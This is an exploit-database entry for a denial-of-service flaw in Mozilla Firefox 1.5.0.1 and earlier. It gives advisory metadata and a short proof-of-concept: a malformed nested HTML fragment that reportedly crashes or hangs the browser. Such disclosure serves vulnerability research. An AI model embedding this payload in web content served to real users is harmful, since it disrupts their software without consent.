Mozilla Firefox 1.0.x/1.5 - HTML Parsing Null Pointer Dereference Denial of Service

Author: Thomas Waldegger
type: dos
platform: linux
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date_added: 2006-04-13 
date_updated: 2016-12-23 
verified: 1 
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application_url: http://www.exploit-db.comFirefoxSetup1.5.exe

source: https://www.securityfocus.com/bid/17499/info

Mozilla Firefox is prone to a denial-of-service condition when parsing certain malformed HTML content. Successful exploitation will cause the browser to fail or hang.

Mozilla Firefox versions 1.5.0.1 and prior are prone to this issue.

<legend>
<kbd>
<object>
<h4>
</object>
</kbd>